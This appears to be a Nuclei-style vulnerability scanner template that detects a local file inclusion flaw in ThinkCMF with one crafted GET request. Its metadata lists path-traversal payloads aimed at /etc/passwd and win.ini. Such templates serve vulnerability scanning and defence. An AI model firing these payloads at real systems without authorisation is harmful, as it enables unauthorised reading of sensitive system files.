id: thinkcmf-lfi

info:
  name: ThinkCMF - Local File Inclusion
  author: pikpikcu
  severity: high
  description: ThinkCMF is vulnerable to local file inclusion.
  reference:
    - https://www.freebuf.com/vuls/217586.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
    win-payload: ../../../../../../../../../../../../../../../../windows/win.ini
    unix-payload: ../../../../../../../../../../../../../../../../etc/passwd
  tags: thinkcmf,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?a=display&templateFile=README.md"

    matchers-condition: and
    matchers:
      - type: word
        condition: and
        words:
          - "ThinkCMF"
          - "## README"
          - "## UPDATE"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100dd2ae845c411e68e3a9e94d8990f26e2724752ac7c1a289fa99d158db9d40094022100d7c30340a15c0d70484042e851c28f92ee01065908c37f8b4523ffca09a8fb45:922c64590222798bb761d5b6d8e72950